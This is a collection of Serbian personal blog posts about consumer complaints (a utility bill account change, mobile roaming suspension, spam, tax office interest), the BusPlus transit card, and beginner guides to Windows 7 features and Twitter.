Uz to naravno idu i šabloni za plaćanje računa preko elektronskog bankarstva Unicredit banke (koje je inače odlično).

Prilikom ovomesečnog plaćanja (januarski računi) primetih čudnu stvar: ciljni žiro račun za Infostan se razlikuje od svih prethodnih meseci. Doduše, nije čudno da firme s vremena na vreme menjaju banke gde drže žiro račun, ali na (klasičnu srpsku) paranoju dodaje i sam izgled računa:

(klikni za veću sliku)

1. Precrtan je račun na levoj strani
2. Novi žiro račun je od druge banke
3. Dodatna identifikacija ispod PAK koda

Ne budi lenj, skinem PDF verziju računa sa http://online.infostan.co.rs/Upit/ i imam šta i da vidim:

(klikni za veću sliku)

• Stari žiro račun
• Nema nikakvih precrtavanja ili dodavanja

Sad, za ovo sigurno postoji savršeno logično objašnjenje – ili je administracija zabrljala ili je “pao sistem” ili …

No, da pustim malo mašti na volju:

• Zamislite da u okviru Infostana postoji dobro organizovana (kriminalna) grupa
• Zamislite da je ta grupa u stanju da se umeša u finalni deo Infostan procesa, štampanje računa (po svemu ostalom, ova dva računa su identična)
• Zamislite da, po nekom algoritmu, svakog meseca određen broj beograđana (možda je broj 3 na uplatnici evidencija ) dobije uplatnice sa drugim žiro računom

Zar to ne bi bila savršena prevara, sa jako malo rizika (koliko fanatika zaista proverava žiro račun pre uplate)? Uzgred bi i objasnilo one “ja sam sigurno platio račun, kako ga nema?” – nema ga jer su pare otišle na drugi žiro račun.

Verovatno sam se previše zamislio Pre nego li prijavim ovo Odeljenju za privredni kriminal, poslao sam mail Infostanu sa zahtevom za objašnjenje. Kad / ako ga dobijem, objaviću ga ovde.

UPDATE 08.02.2012, 12h: Dobio sam odgovor od Infostana gde su oba računa legitimna i da je “prešarani” zbog “tehničkih problema”. Ipak ću da uplatim na stari

UPDATE 08.02.2012, 16h: Važeći žiro-računi za Infostan (od onih 27 iz komentara) su po kolegama iz Infostana: 245-765-67, 160-34655-95, 355-0003200125791-15

Zamislite da rešite da nekim dragim ljudima obezbedite telefon i neku laganu post-paid tarifu, tako da nema preterane brige o tome koliko se i ko zove, a opet, da troškovi budu na razumnom nivou.

Prošetate kroz radnje (cela) tri mobilna provajdera: MT:S – katastrofa podrška; Telenor – skup; VIP – novi, bori se za svakog korisnika, izgleda kao pravi izbor.

Super, izaberete VIP i neku početnu tarifu, recimo Postpaid 60. Naravno, kao i uvek, i uvek pogrešno, ne čitate bolno sitna slova i sve članove ugovora prilikom zasnivanja pretplatičkog ugovora.

Meseci prolaze, pokrivenost u mestima van Beograda bi mogla da bude i bolja, ali za oko 500 dinara dobijate relativno pristojnu mobilnu uslugu.

Dođe leto i vama draga osoba odluči da ode (čak!) do Hrvatske.

Posle 10-ak minuta razgovora i nekoliko razmenjenih SMS-ova – osoba je nedostupna! Sa drugog lokalnog telefona dobijate info da je telefon / broj privremeno isključen.

Okrenete telefon korisničkog servisa da bi saznali da je u pitanju “Netipični saobraćaj, znate, isključena je po članu 14. Dovoljno je da uplatite ono što je potrošeno, a bogami i mnooogo preko toga, i mi ćemo, danas / sutra / prekosutra ponovo uključiti broj”.

Pokušavam da saznam koja je prednost postpaid ugovora ako za svaku iole veću potrošnju moram UNAPRED da uplaćujem novac i dobijam objašnjenje “da je to za moju zaštitu”. Tu mi već ide crno preko očiju – kao da nije dovoljno što mi ne daju uslugu već me i vuku za nos

Čuveni član 14. zvuči ovako:

Član 14
Netipični saobraćaj i ograničavanje usluge

14.1.
Netipični saobraćaj je svaki saobraćaj čiji obim znatno (više od 3 (tri) puta) prelazi obim saobraćaja savesno ostvarenog u proteklom periodu i/ili saobraćaj koji uključuje pozive sa prosečno jednakim trajanjem koji su obavljeni 5 (pet) ili više puta u proteklih 12 (dvanaest) sati sa istim servisnim brojem, ili bilo koji drugi saobraćaj čiji obim znatno premašuje dnevni, nedeljni ili mesečni obim saobraćaja koji je Vip utvrdio radi zaštite interesa Pretplatnika (tj. suzbijanje prevare).

14.2.
U slučaju netipičnog saobraćaja, a nakon prethodnog obaveštenja u vezi sa tim, Vip će biti ovlašćen da od Pretplatnika zahteva obezbeđenje naplate ili će imati pravo da momentalno ograniči svoje Usluge u cilju sprečavanja nastanka štetnih posledica, kao i zaštite korisnika u skladu sa članom 15 dole. Svrha ovih informacija je da se zaštite interesi Pretplatnika.

Naravno, pokušaji da im objasnim da roaming nije prevara, da oni znaju da je pretplatniku u romingu svaka usluga po daleko većim cenama i da je ovakav uslov neprimenljiv i da je na kraju krajeva razlog zbog čega sam uzeo post-paid model (= ne brinem o troškovima unapred) su uzaludni. Takođe, zahtev da mi objasne koje to moje interese štite dok mi:

• Uzimaju pare unapred, kako potrošene, tako i procenjene
• Blokiraju pretplatnički broj dok ste u roamingu

je naišao na potpuno nerazumevanje na VIP strani.

Izbegavajte VIP; njihovo jevtino je vaše skupo; uzmite Telenor – skupi su, ali dobijete uslugu koju platite i ne gubite živce na stvari koje su u najmanju ruku degradirajuće.

Ja mrzim spam. Mrzim da ionako ograničeno vreme trošim na čitanje bezvredne pošte – ako mi usluga / proizvod treba, naći ću vas na webu i ja kontaktirati. Nema vas na webu? O tome ste ranije trebali da mislite.

Elem, da se vratim temi: spamu / neželjenoj pošti.

Vrlo često se u tim mailovima nalazi i link za odjavu i/ili mail adresa za tu namenu. Vrlo često, niti jedno niti drugo radi bilo šta.

Imate nekoliko opcija: da napravite filter koji će poruke od takvih pošiljalaca automatski da briše (recimo) ili da se poduhvatite malo ozbiljnije akcije. Naime, iako stidljivo, čak se i naš zakonodavac potrudio da uvede neke sankcije za ovakve situacije. Ako se desi da vas neko zasipa non-stop neželjenom poštom, preporučujem da odete na sajt, pokupite sve e-mail adrese koje vam se čine bitnim za ovaj problem i pošaljete im mail sledeće (ili slične) sadržine:

Poštovanje.
 
Molim Vas da uklonite sledeću adresu xxxx@xxx.xxx sa svih Vaših marketing lista.
 
U protivnom, moraću da preko advokata pokrenem legalnu akciju protiv Vas, kao nekog ko neovlašćeno i bez prethodnog odobrenja reklamira proizvode i usluge preko elektronske pošte (Zakon o oglašavanju, član 9, Zakon o elektronskoj trgovini, član 8, Zakon o zaštiti potrošača, član 25 i Zakon o elektronskim komunikacijama, član 118 i 138.)

(kao pojačanje, može se dodati i Zakon o trgovini, član 18)

Za referencu, evo tih interesantnih članova:

Zakon o oglašavanju, član 9

Oglasna poruka ne može da se uputi pojedinačno određenom licu, ako je ono jasno izrazilo volju da mu se ona ne upućuje.

Zabranjeno je oglašavanje slanjem oglasnih poruka putem pozivnih sredstava sa i bez ljudskog posredovanja, putem telefaks uređaja ili elektronskih poruka, bez saglasnosti primaoca oglasne poruke.

Zakon o elektronskoj trgovini, član 8

Korišćenje elektronske pošte u svrhu slanja netražene komercijalne poruke, dozvoljeno je samo uz prethodni pristanak lica kome je takva vrsta poruke namenjena, u skladu sa zakonom.

Zakon o zaštiti potrošača, član 25

Oblici poslovanja koji se bez obzira na okolnosti pojedinačnog slučaja
smatraju nasrtljivim poslovanjem jesu:

…
3) višestruko obraćanje potrošaču, protivno njegovoj volji telefonom, faksom, elektronskom poštom ili drugim sredstvom komunikacije na daljinu, osim radi ostvarivanja potraživanja iz ugovora;
…

Zakon o elektronskim komunikacijama, član 118

Korišćenje sistema za automatsko pozivanje i komunikaciju bez ljudske intervencije, faks uređaja, elektronske pošte ili drugih vrsta elektronskih poruka, radi neposrednog oglašavanja, dopušteno je samo uz prethodni pristanak korisnika, odnosno pretplatnika (primalac).

Zabranjeno je neposredno oglašavanje kojim se netačno prikazuje ili prikriva identitet pošiljaoca elektronske pošte ili drugih vrsta elektronskih poruka, kao i neposredno oglašavanje koje ne sadrži naznačenu elektronsku adresu, odnosno broj telefona, putem koga primalac može bez naknade da zahteva sprečavanje daljeg slanja oglasnih poruka.

I da, da ovo ne bude samo pucanje u prazno – na osnovu gornjeg, svaki advokat (uz sitnu naknadu, to su ipak advokati ) može da vam sastavi podnesak / tužbu – verujte da ni jednoj firmi, pogotovo manjoj, neće biti prijatno kada joj stigne plavi koverat i da će sledeći put pristupiti ovom delu reklamiranja daleko savesnije. Znam, iz iskustva

Ilustracija skinuta sa stock.xchng

Update: Zahvaljujući Slobodanu Markoviću, dodao sam i deo za Zakon o elektronskim komunikacijama

Novi sistem ima mnogo prednosti u odnosu na stari: praćenje vozila i (nadam se) tačna informacija o dolasku sledećeg vozila, beskontaktne kartice koje se izdaju na velikom broju lokacija u gradu (MT:S poslovnice), oko 800 mesta gde možete (jednostavno) dopuniti tu istu karticu pa čak i neke pogodnosti od strane partnera BusPlus programa (ERSTE Banka i MT:S).

Kao neko ko obožava digitalno i kao redovni korisnik radničke markice – karticu izvadio odmah (lepo se ošišajte / sredite, pošto, opet naravno, ne mogu da pročitaju sliku iz lične karte nego vas slikaju na licu mesta). Doduše, malo sam se razočarao kada sam saznao da će sistem startovati “kasnije” (krajem godine / početkom sledeće) i da do tada treba da nosim novu karticu sa starim tipom markica. Nije nego; nosiću povlasticu sve dok je ne ukinu.

Na stranu ta sitnica, no na sajtu sam primetio nešto što će itekako uticati na moju svakodnevnu udobnost korišćenja GSP-a:

“Personalizovane kartice se moraju validirati prilikom ulaska u vozilo (Check In).”

Praktično, čak i sa mesečnom kartom, moraću da jurim aparat koji radi (svi znamo kako su prošli oni “komplikovaniji” aparati i kako je radio 1 od 3 u vozilu) i da validiram karticu. Glavna udobnost markice (uđem u vozilo i ne mislim) se ovim praktično briše.

Naravno da sam odmah napisao mail na info@busplus.rs i požalio se na ovu činjenicu i dobio (na žalost, očekivani) nemušt odgovor “tako će da se radi po novom”.

Stvarno šteta; opet propuštamo priliku da se neke bitne, infrastrukturne stvari odrade kako treba (rade se retko, pa nije zgoreg promisliti o problemima sa svih strana) već stanemo na 3/4 puta. I dalje je važniji sistem od korisnika tog sistema koji na kraju krajeva, plaćaju tu uslugu.

Što je najgore, ovo je barem lako promeniti – sistem nije startovao a iza svega je softver. A softver se menja očas posla, bez novih ulaganja.

Prosto, ako za nešto treba izaći iz udobnosti tastature / monitora, nema se volje, želje, motiva …

No, šta nas sprečava da uradimo što god možemo ovde, baš u našoj digitalnoj areni? Baš ništa.

Odakle početi? Od samog početka, od načina kako se uvode zakoni u ovoj državi (koji su jako, jako bitna stavka).

Kako to uraditi? Pa, za svaki predlog novog zakona javna rasprava se organizuje “po potrebi” što je, pogotovo u Srbiji, veooma rastegljiva kategorija. Plus, što su svi ti predlozi van domašaja naše digitalne arene.

Zato je napravljena inicijativa koja traži da se izmeni Zakon o državnoj upravi i Poslovnik Vlade tako da svaki predlog zakona prođe kroz raspravu koja će se organizovati na Nacionalnom portalu eUprava (www.euprava.gov.rs).

Ono što prvo treba da uradite je:

• Podržite Facebook stranicu Zakon je naš i delite je dalje
• Pratite tviter nalog @ZakonJeNas
• Dumajte i predlažite kako da sama procedura izgleda a da bude jednostavna i efikasna

(inspiracija za ovaj tekst je tekst “Srbija 135. u svetu po indeksu eParticipacije UN i ŠTA SAD?”)

No, kada već ja ne pišem, red je da preporučim lokaciju (što radim retko, ali je sada zaista vredno) koju definitivno ne treba propustiti:

Suština pasijansa – http://drgrba.info/ (“Stecište onih koji umeju da čitaju između redova”)

(i naravno, RSS link: http://drgrba.info/feed)

mog prijatelja, Dragana Grbića, muzičara i informatičara (glavnog iza PC Praktikuma) prepun muzike, fotografije, uživancije i redovno osvežavan

Da vas zagolicam, pravo sa sajta:

Grbo, svaka čast na blogu

Svi ostali – pravac na Suštinu pasijansa

Ne mogu reći da nisu u pravu, jer mi je jedna od pasija (hobi? psihološki problem? ) automatizovati sve živo i smanjiti utrošeno vreme na gluposti i repetitivne radnje.

Gornji spisak uključuje i trivijalije kao što su plaćanje računa; od odvajanja novca unapred, pa sve do programčeta koje mi pomaže da račune platim sa što manje / nimalo grešaka, verujem da sam jedan od prvaka kada do plaćanja dođe.

Tim pre sam bio iznenađen kada je stigla plava koverta od Poreske uprave, sa opomenom na (nezanemarljivu) sumu od 12,200 din, štampano 30/11/2010 sa rokom od 5 dana za naplatu (primljena sredinom decembra).

Još je interesantnija struktura same opomene:

Na sam pogled na kamatu koja je 3x glavnica dobio sam blagu vrtoglavicu i trenutnu želju da posetim odgovorno lice Rečeno-učinjeno: počinje putešestvije zvano “državna administracija je gora i od tebe Dejane“.

Okrenem telefon kontakt centra Poreske uprave (0700 700 007) i saznam da za taj slučaj moram da idem lično u odgovarajuću filijalu. Dobro:

Odlazak prvi: saznajem više stvari:

• Radi se o doprinosima za firmu koju sam imao davne 1996. i koja je zatvorena 1997. (pre 13 godina)
• Naplata svih poreza apsolutno zastareva posle 10 godina, ali naplata doprinosa nikada ne zastareva
• Odgovorno lice za moj slučaj je na bolovanju
• Za daljni tok priče mi je potreban listing od 1997. do 2010. – ide poseban zahtev, “dođite sutra za listing”

Odlazak drugi:

• Podižem listing za 13 godina – potpuno beskorisna gomila papira; ne postoji kolona niti način da saznam tačan trenutak nastanka duga za PIO
• Odgovorno lice za moj slučaj je i dalje na bolovanju – dobijam savet da sačekam nedelju dana pa ponovo dođem (sredina decembra je) jer “tužba sigurno neće biti podignuta”

Odlazak treći:

• Odgovorno lice za moj slučaj je i dalje na bolovanju – šetam se do (vrlo grubog i neprijatnog) načelnika koji mi ne daje nikakve korisne informacije
• Naletim na saborca na hodniku koji mi daje vrlo korisne informacije:
  • Neće te tužiti (odmah), ali ti kamata teče svakim danom suludim tempom
  • Šanse da dođeš do dokumentacije i pokažeš da nisi u pravu su nikakve
  • Plati, jednostavnije je

Iako se gnušam predaje bez da je dokazano da nemam gde dalje odlučim da je pametnije da platim i uštedim vreme i nerviranje; tako se i desi – platim ceo iznos 29.12.2010.

No, znajući “kvalitet” rada naših državnih službi, stavim sebi podsetnik da proverim danas da li je uplata regularno uknjižena i da li sam izmirio sve dugove.

Rečeno – učinjeno: okrenem telefon, dobijem odgovorno lice (izlečio se čovek, bar nešto) i krenemo sa pričom. Rezime:

• Budžet je potpuno prazan, pa su dobili direktivu da iskopaju sve i svja što je moguće naplatiti i to brzo
• Uplata je legla istog dana kada sam i platio (kraj decembra)
• Na žalost, rok od 5 dana teče od dana štampanja opomene a ne od dana prijema!!!
• Stoga, dugujem još 230 dinara na račun kamate … na koji ide kamata
• Bolje da uplatim još 250 dinara, “da ne mislim”

Uplatio 250 dinara. Zemljo Srbijo

Sada znam kako se vuk osećao u vicu “A gde ti je kapa?”. Samo što ovo nije vic, no pravi život …

^*Slika: Renjith Krishnan / FreeDigitalPhotos.net

Na žalost, ono čemu sam svedok svaki dan je da najveći broj korisnika inertan i lenj i da koristi Windows 7 kao Windows 3.0 – Start / klik / All programs / Accessories / Calculator… praktično uživajući samo u lepom Aero izgledu, što je daleko manji važan aspekt rada.

Zato sam se potrudio da ovde opišem sitnice, programe i načine koji će vam pomoći da sve radite lakše, brže i jednostavnije, i zaista osetite prednosti novog, modernog operativnog sistema. Ovo nije reklama (ne daj bože plaćena ) niti ću pomenuti sve moguće osobine Windows 7 – samo one koje koristim svakodnevno.

Pre toga preporučujem da pročitate i sledeće tekstove:

• Windows 7 Beta 1
• Windows 7 RTM

Naoružani gornjim znanjem, pročitate i ovo i krenite da koristite Windows 7 na jedan drugi način

Da počnemo od početka: ako bi trebala da se izabere jedna jedina funkcionalnost koja izdvaja Windows 7 od svih ostalih Windows sistema, to bi bila:

Taskbar

Taskbar je doživeo (posle 20-ak godina ) pravu, veliku promenu. Da pomenem samo neke:

• Programi su prikazani samo preko velikih, jasno uočljivih ikona.
• Sve instance jednog programa su grupisane na toj ikoni – po ikoni možete znati da li je startovana jedna, dve ili više instanci programa / dokumenata / stranica.
• System Tray (deo dole desno) je zamenjen sa novim područjem (Notification Area), daleko preglednijim i lakšim za korišćenje

Nove mogućnosti taskbara su, opet, najmanje i korišćene od strane korisnika starijih verzija Windowsa, što je šteta – najveći pomak i mogućnost za udobniji / brži rad upravo leži u pravilnom korišćenju taskbara.

(klikni za veću sliku)

Na gornjoj slici vidite IE 9 sa tri otvorena taba (ovakav prikaz se neće dobiti još uvek za Firefox ili Chrome, jer autori još uvek nisu dodali Windows 7 specifične mogućnosti) – preko ikone lako možete da vidite da su tri ili više taba otvorena; ako prevučete mišem preko ikone, videćete umanjen prikaz svakog taba; možete čak direktno i zatvoriti neke od tabova, bez otvaranja punog prikaza.

Takođe, ako miš pomerite na umanjen prikaz, dobićete takozvani Aero Peek – sakrivanje svih ostalih aktivnih prozora i time mogućnost da proverite sadržaj tog određenog prozora:

(klikni za veću sliku)

Pin to Taksbar

Kako uopšte postaviti neki od programa na Taskbar? Vrlo jednostavno – kada nađete program, desni klik na njega i izaberite Pin to Taskbar:

Pri tom je deo “nađete” vrlo liberalan: možete to uraditi sa programom iz start menija, sa programom na Desktopu, pa čak i sa programom koji je već startovan (kako god da ste do njega došli) – kliknite desnim klikom na ikonu programa koji je startovan i izaberite Pin to Taskbar.

Naravno, i prevlačenje ikone programa na Taskbar ima isti efekat.

Taskbar: Win + 1 … Win + 0, nova instanca, šetnja među instancama

Pazite na redosled ikonica; najčešće programe stavite prve; prosto, jer Taskbar omogućava da prvih 10 programa startujte jednostavnim pritiskom na:

Win + broj gde broj može biti 1, 2, 3, … 9, 0.

(klikni za veću sliku)

Ako imate više računara (posao, kuća, laptop) idealno je da prvih 10 podesite svuda isto; za nedelju dve će vam ući u “mišiće”: Win + 1 -> Firefox i pitaćete se kako ste pre mogli bez toga

Recimo da ste startovali aplikaciju Paint.Net (Win + 4) a onda nastavili da radite i u drugim aplikacijama. Šta će se desiti ako ponovo pritisnete Win + 4?

To poprilično zavisi od toga šta vam rade drugi prstići . Ako je aplikacija startovana, onda:

• Win + broj – dovodi aplikaciju u fokus (ne startuje novu instancu)
• Shift + Win + broj – startuje novu instancu te aplikacije
• Uzastopnim pritiskom na Ctrl + Win + broj se možete brzo prošetati kroz sve startovane instance aplikacije
• Ctrl + Shift + Win + broj – startuje novu instancu te aplikacije pod administratorskim nalogom

Umesto Win + broj možete koristiti i klik na ikonu (ako ste više mouse čovek); i tu važi da Shift + klik startuje novu instancu aplikacije a Ctrl + Shift + klik startuje novu instancu te aplikacije pod administratorskim nalogom.

Jumplist – desno dugme na Taskbar ikonu

Jumplist je još jedna vrlo korisna opcija – desnim klikom na Taskbar ikonu programa, dobićete dodatne mogućnosti i opcije, koje nisu fiksne – već zavise od autora programa:

(klikni za veću sliku)

Naravno, ovo važi za nove ili unapređene stare programe, gde su programeri iskoristili ovu mogućnost Windows 7 sistema (recimo Firefox ne koristi ove mogućnosti, dok Google Chrome koristi).

Podešavanja

Ovde se priča o Taskbaru nikako ne završava; desni klik pa Properties će otkriti gomilu dodatnih opcija za prilagođavanje baš vašim potrebama. No, gornje je sasvim dovoljno za početak

Start meni

Prvo – zaboravite XP način rada; mrtav je, nepotreban, spor i dosadan.

Drugo – koristite tastaturu; da li je lakše ovo za startovanje kalkulatora:

* Klik na Win dugme, otkucati ca i lupiti Enter (4 tastera, bez podizanja ruku sa tastature):

ili ovo:

* Klik na Start, klik na All Programs, skroluj dok se ne pojave pa klik na Accessories, klik na Calculator?

Novi Start je namenjen brzom traženju (i nalaženju) aplikacija; zaboravite na stablo i gde je koja aplikacija smeštena; otkucajte nekoliko karakterističnih slova i startujte je.

Aplikacije

Windows 7 je doneo nove aplikacije (kao Sticky Notes opisane dole) ili unapredio neke postojeće (Calculator) do mere da ih vredi spomenuti.

Calc – Kalkulator

Znam, znam, ovo zvuči smešno – no, ovo je postao jedan vrlo upotrebljiv alatić za svakodnevna računanja:

(klikni za veću sliku)

Nekoliko načina rada (Standard / Scientific / Programmer / Statistic), mogućnost prikaza celokupne istorije rada (i Copy / Paste iste), rad sa datumima (vrlo korisno!) – pristojan mali abakus.

Ako uključite Worksheet, pa poželite da ih isključite, najbrže je da kalkulator prebacite u Basic (osnovni) mod (Ctrl + F4) a onda u mod koji želite (preporučujem Scientific, Alt + 2).

(Najjednostavnije pozivanje: klik na Start pa Calc pa enter; ili ga prilepite (Pin to Taskbar) za Taskbar)

Sticky Notes

Jedna od stvari koje zaista teško podnosim su gomile papira i papirića oko mene. Čak i ako treba zabeležiti nešto, mnogo mi je lakše to uraditi na računaru no juriti za papirom kasnije.

Windows 7 za ove prilike ima Sticky Notes – vrlo jednostavan program za brzo hvatanje beleški:

Klik na plus u gornjem levom uglu otvara novu belešku (ili Ctrl + N), klik na x u gornjem desnom uglu briše belešku (ili Ctrl + D). Desni klik na belešku omogućava da promenite boju beleške.

Moguće su i osnovne manipulacije sa tekstom:

• Ctrl+B – Bold (taman) tekst
• Ctrl+I – Italic (zakošeni) tekst
• Ctrl+U – Underlined (podvučeni) tekst
• Ctrl+T – Strikethrough (precrtani) tekst
• Ctrl+L – Poravnanje teksta levo
• Ctrl+R – Poravnanje teksta desno
• Ctrl+E – Centriranje teksta
• Ctrl+Shift+L – lista (nabrajanje); pritisnite više puta za izbor tipa nabrajanja
• Ctrl+Shift+> – povećanje veličine teksta (za izabrani tekst)
• Ctrl+Shift+< - smanjivanje veličine teksta (za izabrani tekst)

Na žalost, ne postoji jednostavan način za promenu tipa slova (fonta); na sreću, ako uradite copy / paste iz nekog drugog dokumenta, beleška će sačuvati tip slova pa možete da nastavite sa popunjavanjem beleške.

Tapete (wallpapers) sa interneta

Jedna od važnih osobina Windows 7 je da pozadine (Wallpapers) može dovlačiti sa Interneta (znam, znam, većini to uopšte nije bitno, ali volim lepe slike).

Ovo možete uraditi na lakši način, prostim odlaskom na http://windows.microsoft.com/en-US/windows/downloads/bing-dynamic, skidanjem teme, startovanjem te teme i prijavom na RSS feed:

(slike su odlične)

Naravno, možete napraviti temu sa bilo kojim pogodnim RSS feed-om sa slikama (bitno je da slike uključene u sam feed, “embeded”). Postupak je jednostavan:

U folderu C:\Windows\Resources\Themes locirajte aero temu, desni klik i izaberite Open with…:

U dijalogu koji se pojavi, kliknite na strelicu desno od Other Programs i izaberite Notepad.

Nemojte se uplašiti sadržajem datoteke; potrebno je samo dodati četiri reda na kraju datoteke i to:

[Slideshow]
Interval=1800000
Shuffle=1
RssFeed=http://api.flickr.com/services/feeds/groups_pool.gne?id=594506@N20&lang=en-us&format=atom

Ovu datoteku snimite bilo gde (recimo na Desktop) pod novim imenom i sa obaveznim nastavkom .theme; ostatak je sličan kao gore: dupli klik na datoteku, potvrda da želite prijavu za prijem novih elemenata, i slike su vaše.

(gornje slike su iz Flickr grupe 1680×1050 Desktop Wallpapers Pool)

Eventualna podešavanja za sve ove RSS feed-ove možete izvršiti kroz Internet Explorer: izaberite Favorites, tab Feeds i na željeni feed kliknite desnim dugmetom i izaberite Properties:

Neka od podešavanja koje preporučujem su na ovoj slici:

Napredne tehnike

Dole opisane stvari ne spadaju u nešto što će svaki korisnik računara probati, ali ako vi održavate / pomažete vašim manje naučenim prijateljima / rođacima, ovo zna da smanji nervozu i ubrza rešavanje problema na opšte zadovoljstvo svih u procesu

Podešavanje Shutdown dugmeta

Podrazumevana akcija na dugmetu za gašenje je Shutdown:

Jednostavnim desnim klikom, izborom Properties opcije možete da promenite ovo ponašanje i izaberete neku od opcija: Switch User, Shut down, Log off, Lock, Restart, Sleep…

Kalibracija ekrana – DCCW

Nisam bio siguran da li ovo ide u napredne tehnike ili ne, ali je jako korisna stvarčica – brzo i jednostavno možete podesiti svaki od monitora, bez posebnih sprava – klik na Start, otkucajte dccw i Enter i krenite u podešavanje monitora:

(klikni za veću sliku)

PSR – Problem Steps Recorder

Ako iz bilo kog razloga ne možete da pristupite direktno računaru koji ima problem (za direktan pristup ne mogu dovoljno preporučiti TeamViewer – odličan je!), pokušajte sa psr – Problem Steps Recorder:

Prostim startovanjem aplikacije (klik na Start, kucanjem psr pa Enter) i klikom na Start Record, svaka akcija korisnika kao i snimci ekrana pri toj akciji će se snimiti u jednu MHTML datoteku, a zatim zipovati. Jedino što ostaje je da korisnik kome pomažete pošalje tu zip datoteku vama.

Vrlo koristan alat.

Izbor monitora / projektora – Win + P ili DisplaySwitch

Sve su češće konfiguracije sa više monitora; sve češće se laptop računari koriste za prezentacije preko projektora i sličnih uređaja.

Pre ste zavisili od proizvođača softvera, no sada je podrška za to ugrađena u sam Windows 7; dovoljno je da pritisnete Win + P tastere ili da startujete DisplaySwitch – za slučaj da nemate Win dugme

(klikni za veću sliku)

Laptop – definišite štampač po mreži

Ako koristite laptop na više lokacija (kuća pos’o, pos’o kuća ), izuzetno korisna opcija: omogućava vam da za svaku od mreža kojoj pristupate, definišete podrazumevani štampač, tako da će se promenom mreže automatski promeniti i štampač gde štampate.

Izaberite Devices and Printers i opciju Manage default printers i overite “Change my default printer …”:

(klikni za veću sliku)

Za svaku od mreža kojoj ste nekada pristupili možete povezati neki od štampača koje imate definisane. Ovu opciju nećete videti na standardnom, desktop računaru.

Laptop – produžite rad na bateriji

Ako vam je autonomija rada bitnija od performansi (na bateriji), Windows 7 ima odličan alat koji će pomoći u finom podešavanju potrošnje. Pogasite sve programe koji su startovani, a zatim startujte command prompt u Administrativnom modu (Ctrl + Shift + click) i unesite sledeću komandu:

powercfg -energy

Ovaj alat će za minut ili dva izgenerisati vrlo detaljan (i vrlo tehnički) izveštaj sa savetima kako se može izvući još malo rada kada je utikač daleko:

(klikni za veću sliku)

Za kraj

Nadam se da će vam ovo koristiti barem koliko i meni. Naravno, ako vi imate neki dobar savet / fazon za korišćenje Windows 7 operativnog sistema, budite ljubazni pa ga ostavite u komentarima

Proces pisanja teksta na vašem blogu je isti kao i za pisanu formu: potrebna je ideja i inspiracija, kao vreme da se ta dva slože i uobliče u nešto što kod vaših čitalaca (ne varajte se: svaki bloger piše za sebe, ali i za svoje čitaoce ) izazvati reakciju (ili čak komentar).

Tada se pojavi:

Twitter

Šta je Twitter? Najjednostavnije: Web SMS – kratke poruke o trenutnim dešavanjima, do 140 karaktera. Twitter je trenutak, nešto napisano brzo i kratko (tweet, eng. = cvrkut), sa ciljem da podelite sa ljudima koji vas prate. To može biti lokalna vest, interesantna stranica, video, slika, bilo šta što želite da i drugi vide.

Twitter je danas jedan od najmoćnijh servisa za brzo širenje svakakvih vesti i informacija.

Registracija / profil

Registracija je jednostavna, na http://twitter.com – potrebna vam je samo ispravna mail adresa i to je to.

Po registraciji, nije loše da malo sredite profil – postavite vašu sličicu, eventualno promenite boje i dodajte nekoliko rečenica o sebi – ovo će pomoći onima koji se budu dvoumili oko toga da li da vas prate ili ne.

Twitovanje / cvrkutanje

Ovaj deo je prilično lak Imate 140 karaktera da kažete o čemu razmišljate, šta radite, gde se nalazite … Bilo šta što bi u ovom trenutku hteli da podelite sa nekim:

Jedan klasičan cvrkut izgleda otprilike ovako:

Ako je akcija koju opisujete povezana sa drugim korisnikom (ili više korisnika), lepo je da ga pomenete, prostim dodavanjem @ ispred korisničkog imena – ovim će se vaš twit pojaviti na “Mentions” (pominjanja – zaokruženo na gornjoj slici) kartici od tog korisnika; takođe na Mentions brzo možete da vidite da li vas je neko pominjao dok niste pratili.

Ako je twit povezan sa nekim događajem, obično se bira hashtag – karakteristična reč sa # na početku – ovo će vam omogućiti da brzo i lako, klikom na sam hashtag, izlistate sve poruke vezane za taj događaj.

Naravno, ništa od ovoga nije obavezno – možete prosto staviti poruku ili misao, bez ikakvih pravila ili ograničenja.

Following / Followers – Pratim / Prate me

Nema ništa tužnije no tvitovati sam Twitter je povezivanje i druženje – društvena mreža. Kako uopšte naći sagovornike, one čije bi tvitove da pratite i koji bi pratili vaše?

Nije preterano teško – dovoljno je da krenete od jednog korisničkog imena (ljudi vrlo često stavljaju svoj Twitter nalog na svoj sajt) i proverite koga sve taj korisnik prati, odnosno ko ga prati:

Klikom na broj pored Following (“pratim”) ili Followers (“prate me”) dobićete listu korisnika; klikom na nekog korisnika dobićete detaljnu informaciju o njemu, kao i njegove poslednje crvrkute; ako vam se učini interesantnim, kliknite na Follow i od tog trenutka će se njegovi tvitovi pojavljivati na TimeLine-u – liniji dešavanja.

RT – Retweet – ponavljanje

Twitter je deljenje: vaših poruka, poruka ljudi koje pratite. Ako vam se nečiji tvit dopadne i poželite da ga podelite sa svim ljudima koji vas prate, dovoljno je da uradite RETWEET (prosleđivanje) klikom na odgovarajuće dugme:

ili dodavanjem RT ispred tvita prethodnika.

(preporučujem da pogledate gornji YouTube )

D – Direktne poruke

Ne treba smetnuti s uma, početnici pogotovo, da tvitove koje šaljete u etar vide svi koji vas prate. Znači, za razliku od SMS-a, (gde je jedan na jedan) ovde je jedan prema svim prijateljima

Naravno, postoji opcija za slanje i privatnih poruka; jedini uslov je da vas osoba kojoj želite da pošaljete poruku, prati.

Evo nekoliko načina za slanje DM (Direct Message) ili privatnih poruka:

1. Sa samog sajta, biranjem Messages / New Message:

2. Klikom na korisničko ime (da se pojavi profil) a zatim na Message dugme:

3. Na kraju, direktnim kucanjem “D KorisnickoIme Poruka ….” :

(primetite da u ovom slučaju “@” ne ide ispred korisničkog imena)

Alati za praćenje

Iako za Twitter možete koristiti samo web sajt, postoji čitava paleta programa koji će vam drastično olakšati upravljanje i pregled svih tvitova koje pratite.

TweetDeck je odličan izbor za vaš desktop ili laptop računar. No, daleko od toga da Twitter možete da koristite samo sa računara – naprotiv. Vaš mobilni telefon je savršena alatka kako za praćenje tvitova tako i za ostavljanje.

U zavisnosti od telefona, evo nekoliko predloga:

• Bez aplikacije, preko browsera vašeg telefona – idite na http://mobile.twitter.com/
• Android: Twitter for Android – zvanična Android aplikacija
• Android: Twidroid
• Symbian (Nokia): Gravity (komercijalna aplikacija, 7,32 €)
• Symbian (Nokia): Tweets60 lite

Ovo naravno nije nikakva finalna lista – ovo je čisto da imate za početak

Na kraju

Ako se zaista “primite” na Twitter, jedno je sigurno – više vam nikada neće biti dosadno

U svakom slučaju ga probajte; šteta je da ne postanete deo velike zajednice tviteraša širom ove planete

E da, ja sam @Vesic na Twitter-u

